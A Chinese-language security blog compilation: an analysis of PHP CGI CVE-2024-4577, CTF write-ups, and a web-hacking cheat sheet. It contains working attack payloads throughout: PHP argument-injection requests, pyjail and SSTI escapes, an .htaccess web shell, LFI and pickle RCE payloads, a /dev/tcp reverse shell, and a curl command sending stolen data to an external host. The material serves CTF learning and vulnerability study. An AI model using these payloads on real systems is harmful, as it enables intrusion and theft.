CVE-2024-4577 PHP CGI漏洞複現及研究

漏洞簡介

CVE-2024-4577是一個 PHP CGI 的參數注入漏洞,這個漏洞繞過了 CVE-2012-2311 的保護,透過 windows BEST-Fit 的特性,構造不存在的 urlencode 字元讓 Windows 解析出 - 字元,從而繞過 php cgi 的保護機制。

漏洞分析

要了解這個漏洞,我們需要先坐時光機回到最初的漏洞,也就是CVE-2012-2311更之前的 PHP 5.3.11

CVE-2012-1823

漏洞成因

首先,我們有一個先備知識要知道,那就是 http server 呼叫 CGI 時,會連同 request 的 query 一起當成參數傳給 CGI ,例如:我今天存取了 http://192.168.22.16/php-cgi/php-cgi.exe?foo 時,apache 啟動CGI 的 commandline 其實長這樣:

因此攻擊者只要構造出開頭為 - 的 querystring , CGI 就會把他當成參數解析,從而導致參數注入漏洞。

漏洞修補

針對 CVE-2012–1823 出現的漏洞,PHP在 5.3.12 將漏洞 patch 掉,方法是檢查 querystring 的開頭是不是 -

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-	while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0)) != -1) {
+ if(query_string = getenv("QUERY_STRING")) {
+ decoded_query_string = strdup(query_string);
+ php_url_decode(decoded_query_string, strlen(decoded_query_string));
+ if(*decoded_query_string == '-' && strchr(query_string, '=') == NULL) {
+ skip_getopt = 1;
+ }
+ free(decoded_query_string);
+ }
+ while (!skip_getopt && (c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0)) != -1) {

CVE-2012-2311

漏洞成因

在 5.3.12 發佈後不到一個禮拜就被人 bypass 了,因為只要在-前面塞空格就好(?)

漏洞修補

PHP官方很快就發佈了 5.3.13 版本,這次他們先把前面的空白都變不見(pointer往後移),再檢查開頭是不是 -

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for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}

CVE-2024-4577

時隔12年,這個保護機制又被繞掉了,但這次並不影響到全部的php版本,而是只有某些特定語系的 Windows 作業系統,且需要由 CGI 解析才會觸發。

漏洞成因

這個漏洞是因為在 Windows 上有 BEST-Fit 的特性,讓攻擊者在繁體中文等特定語系環境的 Windows 直接生出一個完全不存在的字元(0xad)卻可以被解析成 - ,當然,你也可以透過這份文件,找找看其他語系的 windows 有沒有可以 bypass 的字元。

如何利用

首先,我們可以來看看 PHP CGI 有哪些參數可以下:

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❯ php-cgi --help                                                                                                                                                                   ─╯
Usage: php-cgi [-q] [-h] [-s] [-v] [-i] [-f <file>]
php-cgi <file> [args...]
-a Run interactively
-b <address:port>|<port> Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse <file>. Implies `-q'
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
-T <count> Measure execution time of script repeated <count> times.

應該可以馬上發現, -d 參數非常有用,你可以把所有會妨礙你使用 LFI to RCE 的安全選項全部關掉,然後再用偽協議把髒髒的東西都寫進來

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POST http://example.com/?-d%20allow_url_include%3Don%20-d%20auto_prepend%3Dphp%3A%2F%2Finput%2F%0A

<?php phpinfo() ?>

透過php://filter偽協議include惡意程式碼

2024 AIS3 pre-exam & MFCTF writeup

2024 AIS3 pre-exam writeup

這次幫 AIS3 pre-exam 和 MFCTF 出題,出了兩題:一題 web 和一題 misc (但其實兩題都是web)

evil calculator

This is a calculator written in Python. It’s a simple calculator, but some function in it is VERY EVIL!!
Connection info: http://chals1.ais3.org:5001
Author: TriangleSnake

這是一題很簡單的pyjail(?有jail嗎),主要問題出在 eval() function,但是有過濾 _space
因為是warmup題,預期解是用open()讀flag,不會用到_space

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{"expression":"open('/flag','r').read()"}

當然,你也可以把 _space encode 後 rce

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{"expression":"eval(eval('chr(95)')+eval('chr(95)')+'import'+eval('chr(95)')+eval('chr(95)')+\"('os').popen('').read()\")"}

AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

emoji console

🔺🐍 😡 🅰️ 🆒 1️⃣Ⓜ️🅾️ 🚅☠️✉️ 🥫🫵 🔍🚩⁉️
Connection info: http://chals1.ais3.org:5000
Author: TriangleSnake

這題和資安沒什麼關係,純粹是拼字遊戲,可以隨便按幾個 emoji 後就可以發現他就是把你輸入的 emoji 轉成英文單字後變成一行指令

image

試幾次會發現一些常用的指令,像是 🐱->cat 、 💿->cd ,還有題目剛進去就提示的 🐍->python 和 ⭐->*

  1. 嘗試使用 cat 命令看目錄下面有什麼
    1
    🐱 ⭐
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#!/usr/local/bin/python3

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
for key in emoji_table:
if key in command:
command = command.replace(key,emoji_table[key])
return command.lower()

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/api')
def api():
command = request.args.get('command')

if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
return jsonify({'command':command,'result':'Invalid command'})
command = translate(command)
result = os.popen(command+" 2>&1").read()
return jsonify({'command':command,'result':result})


if __name__ == '__main__':
app.run('0.0.0.0',5000)

{
"😀": ":D",
"😁": ":D",
"😂": ":')",
"🤣": "XD",
"😃": ":D",
"😄": ":D",
"😅": "':D",
"😆": "XD",
"😉": ";)",
"😊": ":)",
"😋": ":P",
"😎": "B)",
"😍": ":)",
"😘": ":*",
"😗": ":*",
"😙": ":*",
"😚": ":*",
"☺️": ":)",
"🙂": ":)",
"🤗": ":)",
"🤩": ":)",
"🤔": ":?",
"🤨": ":/",
"😐": ":|",
"😑": ":|",
"😶": ":|",
"🙄": ":/",
"😏": ":]",
"😣": ">:",
"😥": ":'(",
"😮": ":o",
"🤐": ":x",
"😯": ":o",
"😪": ":'(",
"😫": ">:(",
"😴": "Zzz",
"😌": ":)",
"😛": ":P",
"😜": ";P",
"😝": "XP",
"🤤": ":P",
"😒": ":/",
"😓": ";/",
"😔": ":(",
"😕": ":/",
"🙃": "(:",
"🤑": "$)",
"😲": ":O",
"☹️": ":(",
"🙁": ":(",
"😖": ">:(",
"😞": ":(",
"😟": ":(",
"😤": ">:(",
"😢": ":'(",
"😭": ":'(",
"😦": ":(",
"😧": ">:(",
"😨": ":O",
"😩": ">:(",
"🤯": ":O",
"😬": ":E",
"😰": ":(",
"😱": ":O",
"🥵": ">:(",
"🥶": ":(",
"😳": ":$",
"🤪": ":P",
"😵": "X(",
"🥴": ":P",
"😠": ">:(",
"😡": ">:(",
"🤬": "#$%&!",
"🤕": ":(",
"🤢": "X(",
"🤮": ":P",
"🤧": ":'(",
"😇": "O:)",
"🥳": ":D",
"🥺": ":'(",
"🤡": ":o)",
"🤠": "Y)",
"🤥": ":L",
"🤫": ":x",
"🤭": ":x",
"🐶": "dog",
"🐱": "cat",
"🐭": "mouse",
"🐹": "hamster",
"🐰": "rabbit",
"🦊": "fox",
"🐻": "bear",
"🐼": "panda",
"🐨": "koala",
"🐯": "tiger",
"🦁": "lion",
"🐮": "cow",
"🐷": "pig",
"🐽": "pig nose",
"🐸": "frog",
"🐒": "monkey",
"🐔": "chicken",
"🐧": "penguin",
"🐦": "bird",
"🐤": "baby chick",
"🐣": "hatching chick",
"🐥": "front-facing baby chick",
"🦆": "duck",
"🦅": "eagle",
"🦉": "owl",
"🦇": "bat",
"🐺": "wolf",
"🐗": "boar",
"🐴": "horse",
"🦄": "unicorn",
"🐝": "bee",
"🐛": "bug",
"🦋": "butterfly",
"🐌": "snail",
"🐞": "lady beetle",
"🐜": "ant",
"🦟": "mosquito",
"🦗": "cricket",
"🕷️": "spider",
"🕸️": "spider web",
"🦂": "scorpion",
"🐢": "turtle",
"🐍": "python",
"🦎": "lizard",
"🦖": "T-Rex",
"🦕": "sauropod",
"🐙": "octopus",
"🦑": "squid",
"🦐": "shrimp",
"🦞": "lobster",
"🦀": "crab",
"🐡": "blowfish",
"🐠": "tropical fish",
"🐟": "fish",
"🐬": "dolphin",
"🐳": "whale",
"🐋": "whale",
"🦈": "shark",
"🐊": "crocodile",
"🐅": "tiger",
"🐆": "leopard",
"🦓": "zebra",
"🦍": "gorilla",
"🦧": "orangutan",
"🦣": "mammoth",
"🐘": "elephant",
"🦛": "hippopotamus",
"🦏": "rhinoceros",
"🐪": "camel",
"🐫": "two-hump camel",
"🦒": "giraffe",
"🦘": "kangaroo",
"🦬": "bison",
"🦥": "sloth",
"🦦": "otter",
"🦨": "skunk",
"🦡": "badger",
"🐾": "paw prints",
"◼️": "black square",
"◻️": "white square",
"◾": "black medium square",
"◽": "white medium square",
"▪️": "black small square",
"▫️": "white small square",
"🔶": "large orange diamond",
"🔷": "large blue diamond",
"🔸": "small orange diamond",
"🔹": "small blue diamond",
"🔺": "triangle",
"🔻": "triangle",
"🔼": "triangle",
"🔽": "triangle",
"🔘": "circle",
"⚪": "circle",
"⚫": "black circle",
"🟠": "orange circle",
"🟢": "green circle",
"🔵": "blue circle",
"🟣": "purple circle",
"🟡": "yellow circle",
"🟤": "brown circle",
"⭕": "empty circle",
"🅰️": "A",
"🅱️": "B",
"🅾️": "O",
"ℹ️": "i",
"🅿️": "P",
"Ⓜ️": "M",
"🆎": "AB",
"🆑": "CL",
"🆒": "COOL",
"🆓": "FREE",
"🆔": "ID",
"🆕": "NEW",
"🆖": "NG",
"🆗": "OK",
"🆘": "SOS",
"🆙": "UP",
"🆚": "VS",
"㊗️": "祝",
"㊙️": "秘",
"🈺": "營",
"🈯": "指",
"🉐": "得",
"🈹": "割",
"🈚": "無",
"🈲": "禁",
"🈸": "申",
"🈴": "合",
"🈳": "空",
"🈵": "滿",
"🈶": "有",
"🈷️": "月",
"🚗": "car",
"🚕": "taxi",
"🚙": "SUV",
"🚌": "bus",
"🚎": "trolleybus",
"🏎️": "race car",
"🚓": "police car",
"🚑": "ambulance",
"🚒": "fire engine",
"🚐": "minibus",
"🚚": "delivery truck",
"🚛": "articulated lorry",
"🚜": "tractor",
"🛴": "kick scooter",
"🚲": "bicycle",
"🛵": "scooter",
"🏍️": "motorcycle",
"✈️": "airplane",
"🚀": "rocket",
"🛸": "UFO",
"🚁": "helicopter",
"🛶": "canoe",
"⛵": "sailboat",
"🚤": "speedboat",
"🛳️": "passenger ship",
"⛴️": "ferry",
"🛥️": "motor boat",
"🚢": "ship",
"👨": "man",
"👩": "woman",
"👶": "baby",
"🧓": "old man",
"👵": "old woman",
"💿": "CD",
"📀": "DVD",
"📱": "phone",
"💻": "laptop",
"🖥️": "pc",
"🖨️": "printer",
"⌨️": "keyboard",
"🖱️": "mouse",
"🖲️": "trackball",
"🕹️": "joystick",
"🗜️": "clamp",
"💾": "floppy disk",
"💽": "minidisc",
"☎️": "telephone",
"📟": "pager",
"📺": "television",
"📻": "radio",
"🎙️": "studio microphone",
"🎚️": "level slider",
"🎛️": "control knobs",
"⏰": "alarm clock",
"🕰️": "mantelpiece clock",
"⌚": "watch",
"📡": "satellite antenna",
"🔋": "battery",
"🔌": "plug",
"🚩": "flag",
"⓿": "0",
"❶": "1",
"❷": "2",
"❸": "3",
"❹": "4",
"❺": "5",
"❻": "6",
"❼": "7",
"❽": "8",
"❾": "9",
"❿": "10",
"⭐": "*",
"➕": "+",
"➖": "-",
"✖️": "×",
"➗": "÷"

}cat: flag: Is a directory
cat: templates: Is a directory

現在我們得到一個json有所有指令的對照表,並且可以知道flag應該是在 flag 的資料夾。

嘗試 cat flag 資料夾裡面的東西,可以從剛剛 dump 出來的 json 找可以用的指令,這邊使用;/:|切割指令,回傳的結果似乎是一個 python file

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💿 🚩😓😑🐱 ⭐ #cd flag;/:|
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#flag-printer.py

print(open('/flag','r').read())
  1. 執行python,get flag
    1
    💿 🚩😓😑🐍❸ 🚩➖🖨️⭐

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

Can you describe Pyjail?

Yet another 🐍 ⛓️.
nc chals1.ais3.org 48763
Author: Vincent55

這題不是我出的,但是 Vincent 大佬出的題目還是要捧場一下

source code

看source code可以知道是很純的pyjail,在 safe_eval 裡面就把該 ban 的都 ban 光了

跟前面那題 evil calculator 比起來 calculator 一點都不 evil

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#!/usr/local/bin/python3

from safe_eval import safe_eval
from inspect import getdoc


class Desc:
"""
Welcome to my 🐍 ⛓️
"""

def __get__(self, objname, obj):
return __import__("conf").flag

def desc_helper(self, name):
origin = getattr(type, name)
if origin == type.__getattribute__:
raise NameError(
"Access to forbidden name %r (%r)" % (name, "__getattribute__")
)
self.helper = origin


class Test:
desc = Desc()


test = Test()
test.desc = "flag{fakeflag}"


# Just a tricky way to print a welcome message, or maybe a hint :/
# You can just `print(getdoc(Desc))`
# This is not part of the challenge, but if you can get the flag through here, please contact @Vincent55.
welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
welcome_msg,
{"__builtins__": {}},
{"Desc": Desc, "print": print, "getdoc": getdoc},
)


# Your challenge begin here!
payload = input("✏️: ")

safe_eval(
payload,
{"__builtins__": {}},
{"Desc": Desc},
)

# print(f"test.__dict__: {test.__dict__}")
print(f"🚩: {test.desc}")

看完 source code 可以發現他在print welcome_msg 的時候用了一個非常詭異的方法,也算是這題的題示。

welcome_msg到底在幹嘛

首先看到下面這段程式碼:

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welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
welcome_msg,
{"__builtins__": {}},
{"Desc": Desc, "print": print, "getdoc": getdoc},
)

其實會發現你可以透過 getattr(type, name) 取得type底下的attribute
這裡會卡一個知識點,就是當你要取得某個 class 的 subclass 的時候(假設是 str ),會寫 str.__subclasses__() ,但其實可以寫成 type.__subclasses__(str) ,前提是 strclass 必須是 type

所以我們可以先透過 getattr(type,"__subclasses__") 取得 type.__subclasses__ 再把 __base__ 塞進去就可以得到 type.__base__.__subclasses__()

好到這邊大家應該已經搞懂上面那陀 welcome_msg 的 payload 到底在幹嘛了,簡單來說就是到 object 裡面把所有 class 抓出來,然後抓倒數第2個 class (jail.Desc)把它印出來

解題

一開始想改抓 jail.Test 下面的 desc 就可以拿到 flag
抓是抓得到,但是print不出來啊

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a = Desc();a.desc_helper("__base__");obj=a.helper;a = Desc();a.desc_helper("__subclasses__");obj = a.helper(obj)[-1].desc

這邊又卡一個知識點了,那就是 python 的 descriptor 解析有優先度的問題(題目有提示describe,雖然我覺得沒有人看得懂)

以下參考 @Vincent550102 的筆記:

  • 如果 __get__ 與 __set__ 都有,優先使用描述器(Descriptor):
    當一個描述器同時實現了 __get__ 和 __set__ 方法時,Python 會認為它是一個資料描述器(Data Descriptor)。資料描述器的一個特點是它們對屬性的訪問有更高的優先級。
    如果不是,則在自己的 __dict__ 裡面找:
  • 如果描述器沒有作為資料描述器或者只實現了 __get__ 方法的非資料描述器(Non-Data Descriptor)或者找不到描述器,Python 會繼續在物件的 __dict__ 屬性字典中尋找是否存在該屬性。
  • 若在 __dict__ 也找不到,嘗試用描述器的 __get__:
    如果在物件的 dict 中找不到該屬性,Python 會檢查是否存在只實現了 get 方法的非資料描述器,如果存在,則回傳該描述器的 __get__ 方法。
    都沒有,直接回傳描述器:
  • 如果上述步驟都無法找到該屬性,最後會返回描述器物件本身,如果連描述器也不存在,則會拋出 AttributeError。

看到這邊,問題已經變很簡單了,那就是我們需要將 __get__ 變成最高優先級,此時後面就算 fake_flag 把 test.desc 蓋掉也沒有用,仍然會回傳 Test.__get__() 的內容

如何將 __get__ 變成最高優先級呢?只要新增一個 __set__ 就行了

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func = lambda self,obj,val:None
desc.__setattr__("__set__",func)
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#payload
(a := Desc(),a.desc_helper("__base__"),obj:=a.helper,a := Desc(),a.desc_helper("__subclasses__"),desc:=a.helper(obj)[-2],a:=Desc(),a.desc_helper("__setattr__"),func:=lambda self,obj,val:None,a.helper(desc,"__set__",func))

AIS3{y0u_kn0w_h0w_d35cr1p70r_w0rk!}

CTF Cheatsheet - Web

web

Information Leak

.git / .svn / .bzr

版本控制系統

.git洩漏可用scrabble將整個.git資料夾下載下來並用git 還原

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./scrabble http://www.example.com/ 

Google Hacking

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site:www.example.com
intext:"管理介面"
filetype:sql

GHDB

robots.txt

.DS_Store

.index.php.swp

Backup file

XSS

XSS Payload

CSP 怎麼偷資料

假設他 Content Security Policy 在亂寫一通的話,可以用 CSP Evaluator 檢查

CSP 沒擋用什麼偷

例如 CSP 只有擋 script ,那就用 <img> 來偷

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script-src 'none';

如果把連線都擋掉的話,還是可以使用 location.hrefwindow.open() 透過跳轉來偷資料

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default-src 'none';script-src 'unsafe-inline';

JSONP

允許特定第三方網站引入時,可以嘗試使用 JSONP 引入惡意程式碼

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default-src https://example.com

JSONBee

DNS prefetch

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<link rel=dns-prefetch href=[YOUR_DATA].webhook.trianglesnake.com>

WebRTC

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var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

PHP 弱型別判斷

https://i.stack.imgur.com/giVhE.png

PHP弱型別的安全問題詳細總結

md5()&sha1()

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md5(array()) ==sha1(array())//true=>error=error

md5(240610708)==0 //true
/*
md5(240610708)=>'0e462097431906509019562988736854'
在弱型別判斷中會做為科學記號和int比較
*/
sha1('aa3OFF9m')=>'0e36977786278517984959260394024281014729'

https://www.cnblogs.com/shijiahao/p/12638484.html

https://www.twblogs.net/a/5cd66c22bd9eee67a77f66f9

header竄改

可偽造ip相關

  • X-Forward-For
  • Client-IP
  • X-Real-IP

SSRF

gopher 用法

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gopher://host:port/_HTTPRequest

//example POST request:

*gopher://192.168.0.1:8888/_POST/index.php?action=login HTTP/1.1
Host:127.0.0.1:1000
Content-type:application/x-www-form-urlencoded
Content-Length:20

username=admin&password=bupt666
//換行要用%0D%0A(\r\n)*

備註:發起POST的四個必要欄位
POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11

gopher POST request payload

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gopher://localhost:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20localhost%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%207%0d%0A%0d%0afoo=bar%0d%0A

https://hackmd.io/@Lhaihai/H1B8PJ9hX


LFI&RFI

php require()&include()

偽協議

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//phpfilter
index.php?file=php://filter/read=convert.base64-encode/resource=target.php

//phar 打包成zip下載
index.php?file=phar://test.zip/target.php

//data:URL schema
index.php?file=data:text/plain,<?php system('ls');?>
index.php?file=data:text/plain;base64,**PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==**

data:URL schema更多用法

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#敏感檔案
/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

SESSION植入WebShell

若session可寫入,可以利用LFI執行php

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寫入<?php system("ls");?>
index.php?file=/<sess_path>/sess_<your session>

session_path可由phpinfo內找到session.save_path,若無則放在/tmp內

/var/lib/php/session

session檔名為sess_<session id>

freebuf-LFI


JS prototype pollution

基於 JS 原型鏈的攻擊手法:Prototype Pollution

當javascript在呼叫內建函式時,會透過prototype找上一層要呼叫的函式(因為內建函式並沒有真正在乎叫的物件之中)
舉例來說:

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var lst = ['test']
console.log(lst.toString())

toString()不可能每個宣告的Array Object都有toString(),當呼叫時必須透過prototype找到上一層然後呼叫Array.toString

所以其實在呼叫lst.toString()的時候其實是呼叫了Array.prototype.toString()

而哪些object的prototype是甚麼則定義在object的__proto__裡面

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lst.__proto__.toString == Array.prototype.toString //true

因此,在一些情況下,有些功能可能造成prototype可以被竄改,進而導致prototype pollution

parse query

在對於Array進行賦值的時候,攻擊者可以透過構造key為__proto__達到prototype pollution

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//parseQuery function回傳一個parsed的dict
function parseQuery(queryString) {
const params = {};
queryString.split('&').forEach(param => {
const [key, value] = param.split('=');
params[key] = value;
});
return params;
}

// Example usage
const userInput = 'user=admin&isAdmin=true';

// Parsing user input
const parsedQuery = parseQuery(userInput);
console.log(parsedQuery); // Output: { user: 'admin', isAdmin: 'true' }

// 透過prototype pollution把驗證機制竄改掉,繞過檢查機制
parseQuery('user=admin&isAdmin=true&__proto__.isAdmin=true');

// isAdmin被竄改,return true
console.log({}.isAdmin); // Output: true

合併物件

合併物件同樣有可能發生

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function merge(a, b) {
for(let prop in b) {
if (typeof a[prop] === 'object') {
merge(a[prop], b[prop])
} else {
a[prop] = b[prop]
}
}
}

var config = {
a: 1,
b: {
c: 2
}
}

var customConfig = JSON.parse('{"__proto__": {"isAdmin": 1}}')
merge(config, customConfig)

var obj = {}
console.log(obj.isAdmin)

不難看出,其實只要有對Object的key和value進行操作,就很有可能導致prototype pollution


.htaccess

可影響apache伺服器中資料夾內的檔案

利用指定404、403等錯誤響應文件達成LFI

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ErrorDocument 404 /flag.txt
ErrorDocument 404 /shell.php

強制解析非php檔案造成RCE

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AddType application/x-httpd-php .txt

將.htaccess本身作為php執行後門

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php_value auto_prepend_file .htaccess
#<?php echo system($_GET['cmd']); ?>

#為.htaccess的註解符號

若有WAF則可用\換行繞過

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p\
hp_value auto_prepend_file .htaccess
#<?=echo system($_GET['cmd']); ?>

遇到\時,會接續下一行

https://blog.csdn.net/solitudi/article/details/116666720

Serialize&Deserialize

呼叫反序列化時,可能呼叫一些Magic Method

序列化

Value Serialize(PHP)
8459302 i:8459302;
TRUE b:1;
NULL N;
[’x’,1] a:2:{i:0;s:1:”x”;i:1;i:1;}

PHP Object的序列化

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new Cat("kitten") =>O:3:"Cat":1:{s:4:"name";s:6:"kitten";}

class Cat{
public $a; =>{s:1:"a";.....}
private $b; =>{s:6:"\x00Cat\x00b";.....}
protected $c; =>{s:4:"\x00*\x00c";.....}
}

反序列化

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PHP Magic Method
在指定時機自動呼叫magic method
__destruct() //Object 被銷毀或garbage collection
__wakeup() //unserialize時觸發
__call() //被呼叫不存在方法時觸發
__toString() //被當成string處理時觸發(如 echo)

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**Python Pickle**
pickle.dumps()會將資料序列化
可寫payloads
import subprocess
class payload(object):
def __reduce__(self):
return (subprocess.check_output,(['cat','/flag_5fb2acebf1d0c558'],))
再想辦法把payload()塞進dumps裡面

Phar與反序列化

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SSTI(Server Side Template Injection)

python Flask預設模板為Jinja2

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render_template_string(template)
#可做一些簡單運算
template={{7*7}} =>49

{%for item in item_list %}
{{ item }}{% if not loop.last %},{% endif %}
{%-endfor-%}
'''
可以import os os.system()嗎? 不行,code是放在sandbox中跑的
但可以用config.from_pyfile(filename)執行任意python檔案
'''

使用_mro_(Method Resolution Order) bypass Python的Sandbox

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[].__class__ =><class 'list'>
#對object 查詢method

[].__class__.__mro__ =>(<class 'list'>,<class 'object>)
#_mro_可查詢解析物件順序,此時可以發現所有物件的底層皆為object

[].__class__.__base__ =><class 'object'>
#_base_可返回最底層的method,所以返回object

[].__class_.__base_.__subclasses__()
#_subclasses_直接返回所有subclasses,猛了object在最底層,所以所有物件都會return

[].__class__.__base__.__subclasses__()[132] =><class 'os._wrap_close'>
#os出現了

[].__class__.__base__.__subclasses__()[132].__init__.__globals__ =>返回所有可被global調用的method

{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('ls')}}
#os.system被A出來了

{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
#回傳結果

SSTI Payload
更多奇技淫巧:https://tw511.com/a/01/48066.html

SQL injection

https://www.796t.com/content/1545706659.html
https://zu1k.com/posts/security/web-security/bypass-tech-for-sql-injection-keyword-filtering/

Comments

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MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support Comments

常見waf

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escape()->被轉成%XX,@* _ + - . /不編碼

waf繞過

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'弄不出來的時候可以嘗試兩個urlencode合在一起
%bf%27、%df%27、%aa%27

Reversed Shell

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最經典
nc -klvp [port] #attacker's host
/bin/sh -i >& /dev/tcp/[host]/[port] 0<&1 #victim

問就是 revshells.com

Commandline Injection

截斷指令

最基本的截斷可用;達成,也可使用

  • cmd1&&cmd2cmd1 執行成功時執行cmd2
  • cmd1&cmd2簡單拼接,無論cmd1執行成功與否都會執行cmd2
  • cmd1||cmd2cmd1執行失敗時執行`cmd2
  • cmd1|cmd2cmd1的執行結果以pipeline塞給cmd2
  • 可以將指令包在 \`或是$()` 之中

空格繞過

  • 使用<>繞過
    • cat<flag
    • cat<>flag
  • {cat,flag}
  • 使用特殊變量$IFS繞過(預設是空格)
    • cat$IFS./flag
    • cat$IFS\flag

過濾繞過

  • regex繞過
    • /usr/bin/ca? flag
  • 反斜線繞過
    • ca\t fl\ag
  • 空變量繞過
    • ca${Z}t flag

一些猛料

https://www.zhihu.com/tardis/zm/art/339266206?source_id=1003
https://blog.csdn.net/m0_61011147/article/details/126722464

一些會一直旺季的東東

更多筆記

https://github.com/splitline/How-to-Hack-Websites

https://github.com/splitline/My-CTF-Challenges/

[資安新手入門手冊] Web Security 領航之路

简介 - CTF Wiki

https://github.com/w181496/Web-CTF-Cheatsheet

2024 AIS3 EOF CTF Qual writeup

web

nslookup final

有command injection,用``把指令包起來,但是會有一個問題就是他不會回傳結果,

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curl webhook.trianglesnake.com/?text=123

呼叫聊天機器人webhook試試看,有收到訊息,所以直接把flag偷出來

因為有WAF限制flag*,但我知道flag的prefix了,所以直接遍歷根目錄檔案找出flag

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`curl -G https://eec1-182-234-154-17.ngrok-free.app/ --data-urlencode 
"$(find / -maxdepth 1 -type f -exec grep 'ais3' {} +)"`

AIS3{jUST_3a$y_cOMmaND_INj3c7I0N}

internal

沒辦法碰到/flag但是如果由內網機器送redirect請求並包含X-Accel-Redirectheader就可以穿透。

這題在考crlf截斷,截斷之後可以header injection

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http://10.105.0.21:11580/?redir=https://www.google.com%0d%0aX-Accel-Redirect:%20/flag

AIS3{JUsT_s0m3_FUnNy_N91NX_FEaturE}

copypasta

題目有sql injection,用sqlmap dump出所有column後可以直接存取/posts/flag_id,但他會檢查cookie,所以絲路變成:透過sql injection創建不存在的貼文->透過string format撈出app.secret_key->偽造cookie->存取flag頁面

透過sql injection創造貼文

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#source code
tmpl = db().cursor().execute(
f"SELECT * FROM copypasta_template WHERE id = {id}"
).fetchone()

這裡很明顯留了一個洞給我們

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#payload
?id=1,'a','{field.__class__....}'

此時下面進行format string的時候就會被injection

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res = content.format(field=request.form)

這題沒有做出來,卡在Pyton format string漏洞,可以摸到magic method,但是因為在不同namespace沒辦法用__global__撈到app.secret_key

reverse

stateful

把整個流程反過來做一次 真reversed engineering
先用ghidra把C弄出來後用vs code 的取代把每個function改成printf,之後用python把出來的function整個反過來

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string = """
3618225054(k_target)
2057902921(k_target)
671274660(k_target)
...
...
557589375(k_target)
3420754995(k_target)
3648003850(k_target)
1978986903(k_target)
"""

lst = string.split('\n')
lst.reverse()
print(lst)
for i in lst:
print('state_'+i+';')

把每個狀態機的function+改成-,然後把k_target逆向回推

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// Hello world! Cplayground is an online sandbox that makes it easy to try out
// code.

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>



int main() {
int local_14 = 1;
int local_10 = 0;
unsigned local_c = 0xd7a9bb9e;
bool bVar1 = false;
char k_target[43] =
{
38,
75,
...
128,
101,
-20,
125
};

state_1978986903(k_target);
state_3648003850(k_target);
state_3420754995(k_target);
state_557589375(k_target);
...
state_2057902921(k_target);
state_3618225054(k_target);
for (int i=0;i<44;i++){
printf("%c",k_target[i]);
}
return 0;
}

基本上就是反著做一遍

AIS3{Ar3_y0U_@_sTAtEfuL_Or_S7AT3L3SS_ctfer}